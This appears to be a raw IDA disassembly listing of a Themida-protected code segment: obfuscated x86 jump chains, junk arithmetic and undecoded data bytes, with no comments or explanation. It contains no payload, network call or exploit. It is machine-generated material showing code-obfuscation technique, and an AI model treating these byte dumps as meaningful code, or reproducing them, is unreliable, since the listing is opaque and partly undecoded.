		mov	esp, [esp]
		push	ebp
		push	eax
		mov	eax, 7044BEEh
		shl	eax, 2
		add	eax, 0FFFFFFFFh
		sub	eax, 1C102FB7h
		mov	ebp, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5653E6
; ---------------------------------------------------------------------------
		db 54h,	5Ah, 0E9h
		dd 0FFFF04ACh, 8B5AF188h, 91E92404h
		db 0F1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56445B:				; CODE XREF: Themida_:00568BDAj
		add	esp, 4
		jmp	loc_55E176
; ---------------------------------------------------------------------------
		db 0FFh
		dd 36E92434h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56446B:				; CODE XREF: Themida_:0055A84Fj
		push	ebx
		mov	bl, 0BDh
		jmp	loc_55A8C0
; ---------------------------------------------------------------------------
		db 51h
		dd 0FFB57AE9h, 0C2815DFFh, 4, 5C241487h, 0FFAE96E9h, 0FF575EFFh
		dd 8B042474h, 0C483243Ch, 24048F04h, 0D224248Bh, 0E99C2404h
		dd 0A00h, 42474FFh, 24048F5Bh, 4C5815Ch, 81000000h, 2C5h
		dd 242C3300h, 33242C31h, 248B242Ch, 0C83B6624h,	167AE99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5644CE:				; CODE XREF: Themida_:00562A66j
		push	esp
		jmp	loc_560CF1
; ---------------------------------------------------------------------------
		dd 4C4815Ah, 68000000h,	65EEh, 54241489h, 3A3EE9h, 24248B00h
		dd 240C8B66h, 8B81E955h, 0C381FFFFh, 4,	3304EB83h, 0C1E9241Ch
		dd 5C00000Ah, 0F6A4E955h, 28BEFFFFh, 1D296E6h, 0C6815EF2h
		dd 12C133B7h, 0EE81D601h, 12C133B7h, 8124148Bh,	4C4h, 29F3E900h
		dd 0C4810000h, 4, 7F966856h, 24890000h,	2B19E924h, 2BAFFFFh
		dd 89E73710h, 24148BD5h, 0E904C483h, 7C6h, 8102E2C1h, 0B0474EEAh
		dd 5AD389B6h, 0FF0CE1E9h, 0E95250FFh, 0FFFFAB58h, 68242C89h
		dd 2, 0E92434FFh, 0FFFF9A23h, 4C481h, 0F1010000h, 6760C181h
		dd 348B4699h, 0E4D5E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564596:				; CODE XREF: Themida_:00567CFCj
		push	7A7Fh
		mov	[esp], edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55F424
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0EAF3E902h, 0F581FFFEh, 34684D65h, 710ED81h,	88E93373h
		dd 81000046h, 9A20D7C3h, 0B62AE97Bh, 0C481FFFFh, 4, 83241C8Bh
		dd 0C38104C4h, 4, 0FFC677E9h, 48B66FFh,	65FE6824h, 0C890000h
		dd 39E95424h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5645F7:				; CODE XREF: Themida_:0056401Cj
		mov	esi, 90A421Ch
		shr	esi, 2
		jmp	loc_55E943
; ---------------------------------------------------------------------------

loc_564604:				; CODE XREF: Themida_:00553644j
		mov	eax, 2
		add	ebx, eax
		pop	eax
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_5533CB
; ---------------------------------------------------------------------------

loc_564616:				; CODE XREF: Themida_:00555325j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55B185
; ---------------------------------------------------------------------------

loc_564624:				; CODE XREF: Themida_:0055770Fj
		add	ebp, 4
		jmp	loc_5629F5
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0FFF4ABE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564635:				; CODE XREF: Themida_:00561999j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	1413h
		jmp	loc_55992D
; ---------------------------------------------------------------------------
aSh		db 'ShÎ/',0
		align 2
		dw 7FE9h
		dd 0C1FFFF8Ah, 63E903E3h, 83000014h, 815A04C4h,	37091AC1h
		dd 98C18170h, 29757025h, 0A3BE9F1h, 0B652FFFFh,	5AF52879h
		dd 500FC580h, 0E388EC88h, 11A2E958h, 815D0000h,	0DD2D11C1h
		dd 0A8C18147h, 1773540h, 0A8E981D1h, 0E9773540h, 0FFFFC83Fh
		dd 0E904B652h, 0FFFF43E7h, 3004C483h, 24148BD0h, 4249E9h
		dd 2434FF00h, 8B2434FFh, 0DE9240Ch, 87FFFFD3h, 515C241Ch
		dd 0C5800AB5h, 0C8C58032h, 0C8BEA30h, 0FFCEE924h, 8145FFFFh
		dd 708CCEC5h, 5DEB0164h, 0FF4D54E9h, 1EE956FFh,	5FFFFF05h
		dd 685AD601h, 42E4h, 0BD242C89h, 5F7D1A05h, 0FFFFC581h
		dd 0F581FFFFh, 272845FBh, 9EF5814Dh, 293ECC38h,	0EBE5E9E9h
		dd 0EC83FFFFh, 241C8904h, 77BC68h, 240C8900h, 0E991B753h
		dd 0FFFF7E6Fh
; ---------------------------------------------------------------------------

loc_564730:				; CODE XREF: Themida_:00559AD6j
		mov	[esp], eax
		mov	eax, 304B4598h
		push	eax
		not	dword ptr [esp]
		pop	eax
		sub	eax, 0A1EB7EBDh
		jmp	loc_5534C7
; ---------------------------------------------------------------------------

loc_564747:				; CODE XREF: Themida_:0055ED43j
		pop	ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	ebx, 1B7D3459h
		push	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 6CAB688Fh
		shl	ebx, 4
		sub	ebx, 530A70E9h
		shl	ebx, 8
		and	ebx, 14DB335Ch
		add	ebx, 74182973h
		jmp	loc_55D742
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 5457241Ch, 4C7815Fh, 83000000h, 0A8E904C7h
		db 4Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5647A3:				; CODE XREF: Themida_:0055AB53j
		xor	ebp, ebx
		push	edi
		jmp	loc_554A3F
; ---------------------------------------------------------------------------
		db 68h
		dd 1523h, 0BD242C89h, 2, 28E9E901h, 81000027h, 4C3h, 4C38300h
		dd 5C241C87h, 4BE56h, 0F3010000h, 0FF9B26E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5647D9:				; CODE XREF: Themida_:005553CAj
		push	edx
		mov	edx, 9C11D44Ah
		sub	esi, edx
		jmp	loc_562FB4
; ---------------------------------------------------------------------------
		dw 0E808h
		dd 24D0F659h, 0B353515Ch, 2726E9D0h, 8B66FFFFh,	54512404h
		dd 75DC6859h, 34890000h, 3795E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56480A:				; CODE XREF: Themida_:00554598j
		add	ecx, 4
		jmp	loc_554416
; ---------------------------------------------------------------------------

loc_564815:				; CODE XREF: Themida_:005641BEj
		mov	[esp], ecx
		mov	ecx, 7CB92F20h
		mov	ebp, 0D6EB9C8Ah
		sub	ebp, ecx
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	edi
		mov	edi, 4F9E018Ch
		jmp	loc_56863B
; ---------------------------------------------------------------------------
		db 0B5h, 0D6h, 28h
		dd 0C8B66E8h, 2BF0E924h, 0DF68FFFFh, 0E900002Bh, 0FFFFE57Ah
		dd 44CA68h, 0EBF4E900h,	0F101FFFFh, 76CAE981h, 835E26C0h
		dd 0FBE904C1h, 30FFFFBFh, 0EC8059CCh, 0AFB75334h, 0C7FEC7FEh
		dd 0E780D7F6h, 0FCB3E945h, 0E589FFFEh, 4C581h, 6FE90000h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56489B:				; CODE XREF: Themida_:00564E3Cj
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 75392C83h
		shl	edi, 3
		push	ecx
		mov	ecx, 6F500F5Eh
		or	edi, ecx
		pop	ecx
		neg	edi
		not	edi
		xor	edi, 0EFD96F59h
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		pop	edi
		not	edi
		push	317Eh
		jmp	loc_555C1A
; ---------------------------------------------------------------------------
		db 5Eh
		dd 56E68956h, 0C681E689h, 4, 4B850h, 0C6290000h, 0E924048Bh
		dd 2C63h
; ---------------------------------------------------------------------------

loc_5648F0:				; CODE XREF: Themida_:00561B0Aj
		not	eax
		jmp	loc_55ECE0
; ---------------------------------------------------------------------------
		db '^h*',8,0
		dd 2397E900h, 0C6810000h, 659F1717h, 0C15EF189h, 0E98106E1h
		dd 23051D36h, 9DC98141h, 0E931C547h, 0FFFF9EF4h, 2ADABB53h
		dd 0BD557A58h, 1FFB2EF4h, 0CCE9E829h, 53FFFF79h, 13685B54h
		dd 89000012h, 0C3BF243Ch, 8157E874h, 178B41C7h,	651DE9A8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56494E:				; CODE XREF: Themida_:00567F62j
		push	esi
		mov	esi, edx
		mov	ecx, esi
		pop	esi
		jmp	loc_56711C
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 8AE95724h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564963:				; CODE XREF: Themida_:0055D6BEj
		xor	eax, 363CF278h
		jmp	loc_568AC7
; ---------------------------------------------------------------------------

loc_56496D:				; CODE XREF: Themida_:00557CE5j
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	eax
		push	edi
		push	2B45571Ch
		jmp	loc_55B332
; ---------------------------------------------------------------------------
		db 81h
		dd 0F97A68C7h, 5FF90163h, 0D0E9CD01h, 29FFFFE2h, 0F89BE9EAh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5649A6:				; CODE XREF: Themida_:00557B73j
		shr	esi, 6
		xor	esi, 86676059h
		sub	edx, esi
		pop	esi
		sub	ecx, 64920D53h
		sub	ecx, edx
		add	ecx, 64920D53h
		jmp	loc_55B30E
; ---------------------------------------------------------------------------

loc_5649C5:				; CODE XREF: Themida_:00562B24j
		sub	edx, 31DA1558h
		add	edx, ebx
		jmp	loc_55676C
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 0C97AEAE9h, 81F90120h, 0C97AEAC1h, 6BC18120h, 8167B15Ch
		dd 9A2BAFC1h, 0BEE9575Ch, 0F7FFFF9Fh, 1992E9DDh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5649FA:				; CODE XREF: Themida_:00565C16j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55F769
; ---------------------------------------------------------------------------
		db 81h
		dd 521E51EDh, 5DE82969h, 0E9240487h, 0FFFFA024h, 0BE243489h
		dd 3106472Fh, 0EC81DEF7h, 4, 0BA241489h, 382A48B0h, 0FFF92FE9h
		dd 48B66FFh, 3FF6824h, 0A9E90000h, 57FFFF28h, 0EC81E789h
		dd 4, 0E9243489h, 0FFFF840Eh, 96243481h, 59421E60h, 6096F181h
		dd 348B421Eh, 0E2895224h, 4C281h, 0C2830000h, 24148704h
		dd 0E924248Bh, 0FFFFA98Dh
; ---------------------------------------------------------------------------

loc_564A78:				; CODE XREF: Themida_:00553E7Cj
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5618FA
; ---------------------------------------------------------------------------

loc_564A83:				; CODE XREF: Themida_:0055DE1Ej
		xchg	ebx, [esp]
		pop	esp
		sub	edx, 620D2C1Ah
		jmp	loc_562B10
; ---------------------------------------------------------------------------
		dw 166h
		dd 0EF8166EFh, 5D66046Eh, 51F72966h, 5BB1B966h,	66D9F766h
		dd 0CA3BC181h, 8BCF2966h, 0C483240Ch, 665E6604h, 0E93B8A2Dh
		dd 0FFFF560Dh
; ---------------------------------------------------------------------------

loc_564AC0:				; CODE XREF: Themida_:0056366Dj
		pop	esi
		xor	esi, 7127EEE9h
		sub	edx, esi
		pop	esi
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		jmp	loc_55BF74
; ---------------------------------------------------------------------------
		db 89h
		dd 0A0E92414h, 8BFFFFF0h, 89512404h, 4C181E1h, 81000000h
		dd 4C1h, 240C8700h, 0D2EB805Ch,	70E9D300h, 7, 0E95A66D0h
		dd 0FFFF3FCBh, 38FBED81h, 0ED814852h, 5F31692Ah, 0C581F501h
		dd 5F31692Ah, 0FFD676E9h, 24048BFFh, 0FF6142E9h, 242C8BFFh
		dd 5204C483h, 0EC815A54h, 4, 57240489h,	468h, 2DE6E900h
		dd 34FFFFFFh, 2DF8E924h, 5666FFFFh, 14AFBE66h, 0E9F52966h
		dd 0FFFF908Ah, 3FC78159h, 1739C16h, 3FEF81D7h, 8B739C16h
		dd 89512414h, 4C181E1h,	81000000h, 4C1h, 240C8700h, 3E58E95Ch
		dd 1C890000h, 1DE95624h, 89FFFFA9h, 28E92414h
		db 3Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564BAF:				; CODE XREF: Themida_:00553D0Dj
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_561F3D
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 0F44E924h, 0B252FFFFh, 18F2803Ah, 0B0E9D2F6h, 0FFFFFFF5h
		dd 34FF2434h, 0C4815B24h, 4, 4C481h, 0C4810000h, 4, 0AEDAE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564BEE:				; CODE XREF: Themida_:005600F4j
		add	edx, 1AC87D0Ch
		push	ebp
		mov	ebp, 3FAD5A3Eh
		jmp	loc_55DBEC
; ---------------------------------------------------------------------------
		db 66h
		dd 66240C89h, 66C8B60Fh, 96E99C51h, 0BEFFFEE4h,	188B3021h
		dd 0FF060EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564C19:				; CODE XREF: Themida_:0055BDFFj
		sub	ecx, ebp
		jmp	loc_5563F8
; ---------------------------------------------------------------------------
		dd 0F6006E25h, 50EA352Dh, 0E057617h, 353C7777h,	9B08C7F6h
		dd 8358C201h, 348904ECh, 0F064E924h, 8859FFFEh,	3BE95BF9h
		dd 5AFFFF17h, 34FFC300h, 24048B24h, 4C481h, 0C4810000h
		dd 4, 0FF0A97E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564C65:				; CODE XREF: Themida_:0055EC3Dj
		mov	edi, 3AAA168Dh
		push	ecx
		mov	ecx, 4E3E324Ch
		jmp	loc_562DDE
; ---------------------------------------------------------------------------
		db 66h,	87h, 14h
		dd 66526624h, 0E9630768h, 0FFFF9FBEh, 592434FFh, 1246E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_564C8E:				; CODE XREF: Themida_:0055FF61j
		xor	eax, [esp]
		jmp	loc_5680D8
; ---------------------------------------------------------------------------

loc_564C96:				; CODE XREF: Themida_:0055BE9Aj
		add	ebp, 4
		jmp	loc_565792
; ---------------------------------------------------------------------------

loc_564CA1:				; CODE XREF: Themida_:00566C05j
		push	ebx
		mov	ebx, 1C4A4D6Fh
		sub	ebx, 688743E2h
		sub	edx, 159E0847h
		add	edx, ebx
		add	edx, 159E0847h
		pop	ebx
		add	eax, edx
		pop	edx
		jmp	loc_559BA2
; ---------------------------------------------------------------------------
		dd 8B240433h, 4212424h,	0D2E99C24h, 0BEFFFEE3h,	4565A81Ah
		dd 0FEE63FE9h, 4EF81FFh, 0E9000000h, 0FFFEFFF0h
; ---------------------------------------------------------------------------

loc_564CE8:				; CODE XREF: Themida_:005575F6j
		xor	[esp], esi
		jmp	loc_565FA4
; ---------------------------------------------------------------------------

loc_564CF0:				; CODE XREF: Themida_:005573E5j
		mov	edx, 3780A64h
		add	edx, 10A359A0h
		jmp	loc_55BE8D
; ---------------------------------------------------------------------------
		dd 148BD589h, 4C48124h,	50000000h, 902065B8h, 93EE816Ah
		dd 295C8F30h, 2648E9C6h, 0EF29FFFFh, 99BF575Dh,	817B5B52h
		dd 83DC0F7h, 8BFB0135h,	0C483243Ch, 81FB0104h, 536F59EBh
		dd 243C8B4Eh, 53585450h, 0D774FDBBh, 0F9F3812Dh, 2D2DD774h
		dd 2E533346h, 4605D801h, 5B2E5333h, 405h, 24048700h, 0BEB815Ch
		dd 0E906AE5Dh, 0FFFEE404h, 42474FFh, 24048F59h,	2A40E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564D7E:				; CODE XREF: Themida_:00563EA5j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	edx
		mov	edx, 38F60007h
		shr	edx, 5
		or	edx, 6B1470AAh
		jmp	loc_557A21
; ---------------------------------------------------------------------------
		db 1, 0FEh, 5Fh
		dd 0FF897DE9h, 52C981FFh, 5761FC08h, 44037BFh, 5DCF8170h
		dd 8170D74Bh, 0A05D2EE7h, 6DE78172h, 8130673Dh,	0F5155AE7h
		dd 81D7F705h, 0FE7CDAC7h, 5FF929EDh, 0E9CD89h
		db 7Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564DD7:				; CODE XREF: Themida_:0056768Fj
		add	edi, 0FF90540h
		sub	edi, 3DEF2624h
		add	edi, ebp
		add	edi, 3DEF2624h
		jmp	loc_5599F4
; ---------------------------------------------------------------------------

loc_564DF0:				; CODE XREF: Themida_:0055B0C5j
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_55E043
; ---------------------------------------------------------------------------
		align 2
		dw 80C3h
		dd 0B551D3C3h, 0E9C5FE79h, 0FFFEE550h, 4C781h, 4AE90000h
		dd 0BBFFFF98h, 5C81491Ch, 62F9CB81h, 0E3D16030h, 0FFAB57E9h
		dd 24248BFFh, 0FF31EBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564E31:				; CODE XREF: Themida_:00558EA2j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		mov	eax, [esp]
		push	ebp
		jmp	loc_56489B
; ---------------------------------------------------------------------------

loc_564E41:				; CODE XREF: Themida_:005578EBj
		sub	ebp, edi
		jmp	loc_55CB04
; ---------------------------------------------------------------------------

loc_564E48:				; CODE XREF: Themida_:0055C1C5j
		add	esi, 4
		jmp	loc_567334
; ---------------------------------------------------------------------------
		db 0BEh
		dd 0F74FEADCh, 895EF001h, 0EFE958C6h, 8AFFFF19h, 89502424h
		dd 405E0h, 29E90000h, 81FFFF9Dh, 3F0E7DC2h, 56E28154h
		dd 8130EA04h, 561DC0F2h, 0F9EA8174h, 29960264h,	0F7015AD6h
		dd 243C875Eh, 99BAE95Ch, 4B8FFFFh, 0E9000000h, 0FFFFDE67h
		dd 0FEE1FCE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564EA9:				; CODE XREF: Themida_:0055D793j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_55BF7C
; ---------------------------------------------------------------------------

loc_564EB5:				; CODE XREF: Themida_:00562EE1j
		sub	edx, ebp
		pop	ebp
		xor	eax, edx
		push	dword ptr [esp]
		jmp	loc_565A56
; ---------------------------------------------------------------------------

loc_564EC2:				; CODE XREF: Themida_:00563023j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_555F8D
; ---------------------------------------------------------------------------

loc_564ED5:				; CODE XREF: Themida_:0056307Dj
		sub	ecx, 201178A1h
		pop	edx
		jmp	loc_560FC3
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 60h
		dd 28FFFFA6h, 241C8BF8h, 0E904C483h, 0FFFFB956h, 0C181E189h
		dd 4, 0FEFF71E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564F01:				; CODE XREF: Themida_:0055BE07j
		mov	eax, [esp]
		push	41CAh
		jmp	loc_562A20
; ---------------------------------------------------------------------------
		dw 38BAh
		dd 5320203Dh, 0D146B968h, 241C8B2Ah, 5204C483h,	0D8D66ABAh
		dd 5AD33174h, 638E9h, 240C8900h, 8904EC83h, 0E0892404h
		dd 4B951h, 0C8010000h, 4BF5759h, 29000000h, 15CFE9F8h
		dd 0C301FFFFh, 8324048Bh, 0EB8104C4h, 138B5F26h, 18F5E9h
		dd 7EE2B900h, 0BD554044h, 40447EE0h, 815DE929h,	0A453E0C5h
		dd 81CD2972h, 0A453E0EDh, 2C875972h, 24248B24h,	240C8966h
		dd 516656B5h, 5D2C49B1h, 5D04C828h, 240C8B66h, 13D1E953h
		dd 815F0000h, 4ECh, 24048900h, 42474FFh, 0FF7644E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564FB1:				; CODE XREF: Themida_:0055F1EBj
		add	esp, 4
		pop	dword ptr [esp]
		not	ebx
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		pop	eax
		jmp	loc_553578
; ---------------------------------------------------------------------------
		dd 33241C31h, 895C241Ch, 2AE92424h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------

loc_564FD7:				; CODE XREF: Themida_:00560C86j
		add	ebp, esi
		pop	esi
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		xchg	eax, [esp]
		jmp	loc_563A62
; ---------------------------------------------------------------------------

loc_565002:				; CODE XREF: Themida_:00561665j
		mov	esp, [esp]
		push	dword ptr [esp]
		jmp	loc_55BF86
; ---------------------------------------------------------------------------
		db 29h,	3Ch, 24h
		dd 0EF240481h, 5F7A8112h, 814FDFF7h, 0B55702EFh, 32E78169h
		dd 81480110h, 458FC9C7h, 8BFD01E6h, 0C483243Ch,	5DE80104h
		dd 3595E9h, 51D0F700h, 7F7F58B9h, 59C8297Fh, 575568h, 24048900h
		dd 7B43E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565056:				; CODE XREF: Themida_:00561F4Aj
		push	0
		pop	edi
		sub	edi, eax
		push	eax
		push	edi
		jmp	loc_557569
; ---------------------------------------------------------------------------
		align 2
		dw 5BFCh
		dd 48BE328h, 66E95724h,	57FFFF6Ch, 3E3634BFh, 547FE95Fh
		dd 0EC81FFFFh, 4, 0FFCBBFE9h, 0E017E9FFh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56508E:				; CODE XREF: Themida_:00568735j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	dword ptr [esp+4], 1CF666E5h
		sub	[esp+4], ecx
		push	eax
		mov	eax, 1CF666E5h
		sub	[esp+8], eax
		pop	eax
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5540A2
; ---------------------------------------------------------------------------
		db 81h
		dd 0FC7262C2h, 7CB9516Dh, 5736C71Ah, 0B37FD7BFh, 0C1D7F73Ah
		dd 0E95302EFh, 0FFFFA2AAh, 0E903E0C1h, 0FFFF6CD3h, 240C8B66h
		dd 8904EC83h, 0FF54241Ch, 535B2434h, 0CCE9E389h, 35FFFFF6h
		dd 7EB8EEECh, 8158C189h, 295A25C3h, 0E9CB0129h,	0FFFEFF86h
		dd 875DE801h, 24E92404h, 53FFFF2Ah, 505F8EBBh, 0E9D9892Ch
		dd 0FFFFB6D6h, 4BDh, 0E9E80100h, 0FFFEE1B6h, 0B8240489h
		dd 4, 4246C81h,	4053192Ch, 4244401h, 4244481h, 4053192Ch
		dd 54575F58h, 4C7815Fh,	81000000h, 4EFh, 243C8700h, 2434895Ch
		dd 468h, 0C7815E00h, 5F7636EDh,	0D6E9F701h, 29FFFF2Eh
		dd 242C8BEBh, 0E904C483h, 23AFh, 0C2E951ACh
		db 96h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565187:				; CODE XREF: Themida_:0055650Dj
		sub	edi, 0F3C90002h
		sub	edx, 40871B8Fh
		add	edx, edi
		jmp	loc_562892
; ---------------------------------------------------------------------------

loc_56519A:				; CODE XREF: Themida_:0055E4BDj
		pop	edx
		add	edx, 4
		add	edx, 2
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	1088h
		jmp	loc_559984
; ---------------------------------------------------------------------------

loc_5651B8:				; CODE XREF: Themida_:00555605j
		sub	edi, 66FB4BD5h
		sub	edi, ebp
		add	edi, 66FB4BD5h
		mov	ebp, [esp]
		add	esp, 4
		pop	esi
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_56556F
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0E95B2414h, 0FFFEFD0Ah, 240C8B66h, 2C8B5455h, 4C48124h
		dd 81000000h, 4C5h, 2BB5300h, 68000000h, 4312h,	0B8240489h
		dd 74E11B2h, 0FFC3FFE9h, 95F180FFh, 0E9C9FEh
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56522B:				; CODE XREF: Themida_:00555D41j
		dec	ebx
		xor	ebx, 66EE43DDh
		shr	ebx, 2
		sub	ebx, 3F93F09h
		push	edx
		mov	edx, 63BB3387h
		sub	edx, 243F0690h
		or	edx, 42404044h
		add	edx, 0C7A62AFBh
		add	ebx, edx
		pop	edx
		add	edi, ebx
		jmp	loc_5545BE
; ---------------------------------------------------------------------------

loc_56525D:				; CODE XREF: Themida_:00558044j
		and	edx, 347A6827h
		push	2152h
		mov	[esp], esi
		mov	esi, 2C39772Eh
		jmp	loc_556A11
; ---------------------------------------------------------------------------

loc_565275:				; CODE XREF: Themida_:00561975j
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55DA97
; ---------------------------------------------------------------------------
		db 68h
		dd 6839h, 0B0240489h, 0E9D8F68Fh, 0FFFEF148h, 54ED8145h
		dd 89C1A8D9h, 0C6815DEEh, 149A4FC3h, 1A8CE9h, 4EC8100h
		dd 89000000h, 12BE2434h, 0BA03F01Bh, 0B3E3D96h,	0E95EF231h
		dd 0FFFF2DEBh
; ---------------------------------------------------------------------------

loc_5652C8:				; CODE XREF: Themida_:0055487Dj
		push	ecx
		push	edx
		jmp	loc_5598C5
; ---------------------------------------------------------------------------
		db 81h
		dd 0CF7CD8EEh, 0F6814E05h, 3462A593h, 7021372Dh, 0E9F00177h
		dd 0FFFEE97Bh
; ---------------------------------------------------------------------------

loc_5652E8:				; CODE XREF: Themida_:00558358j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 7123773Bh
		jmp	loc_558C00
; ---------------------------------------------------------------------------

loc_56530E:				; CODE XREF: Themida_:0055A6A9j
		pop	ebx
		and	ecx, ebp
		jmp	loc_55CD4D
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 3F247DEDh, 0E9E8890Dh, 0FFFFD942h
; ---------------------------------------------------------------------------

loc_565324:				; CODE XREF: Themida_:00555EB1j
		push	ebp
		mov	ebp, 5CF85F46h
		xor	ebp, 0F8EFB842h
		add	ebx, ebp
		pop	ebp
		jmp	loc_56817E
; ---------------------------------------------------------------------------

loc_565338:				; CODE XREF: Themida_:00553421j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_566803
; ---------------------------------------------------------------------------
		dw 3489h
		dd 81E68924h, 4C6h, 4C68300h, 5C243487h, 83242C8Bh, 0D03104C4h
		dd 6EE0E95Ah, 0EA00FFFFh, 53240C8Bh, 0BA525B54h, 25700264h
		dd 0FF5D37E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565379:				; CODE XREF: Themida_:0055F940j
		sub	edx, ecx
		xchg	edx, ecx
		mov	edx, [esp]
		add	esp, 4
		xor	ecx, 316BC722h
		mov	edx, ecx
		pop	ecx
		add	esi, edx
		push	dword ptr [esp]
		jmp	loc_5600BC
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 64D96F53h, 0FF76EFE9h, 0C3C281FFh, 1DFA98Eh,	24148BD6h
		dd 0FF3B29E9h, 58C689FFh, 8247401h, 0FF83C3E9h,	4C683FFh
		dd 860E9h
		db 0
; ---------------------------------------------------------------------------

loc_5653C5:				; CODE XREF: Themida_:00560AD0j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_558911
; ---------------------------------------------------------------------------

loc_5653D3:				; CODE XREF: Themida_:00554885j
		xor	edx, [esp]
		pop	esp
		mov	ecx, [esp]
		push	edi
		push	esp
		push	dword ptr [esp]
		pop	edi
		push	ecx
		jmp	loc_5680B4
; ---------------------------------------------------------------------------

loc_5653E6:				; CODE XREF: Themida_:00564444j
		push	esi
		mov	esi, esp
		push	ebp
		push	edi
		mov	edi, 62A36F60h
		mov	ebp, 62A36F64h
		xor	ebp, edi
		pop	edi
		add	esi, ebp
		pop	ebp
		push	ebp
		push	ebx
		push	ebp
		mov	ebp, 3CA640FFh
		push	ebp
		sub	dword ptr [esp], 75637515h
		pop	ebx
		add	ebx, 75637515h
		jmp	loc_55879E
; ---------------------------------------------------------------------------
		db 52h
		dd 0B276A3BAh, 0ACA815Fh, 0C1158540h, 0F28107E2h, 0F66064CFh
		dd 0E95AD589h, 0FFFFE1D6h
; ---------------------------------------------------------------------------

loc_565434:				; CODE XREF: Themida_:0055406Cj
		mov	ebx, 7E741A2Ah
		sub	ebp, ebx
		pop	ebx
		push	esi
		mov	esi, 4980420Bh
		or	ebp, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_567B73
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 0E9000000h, 0FFFFB23Fh, 685BDA01h, 7CB8h, 51242C89h
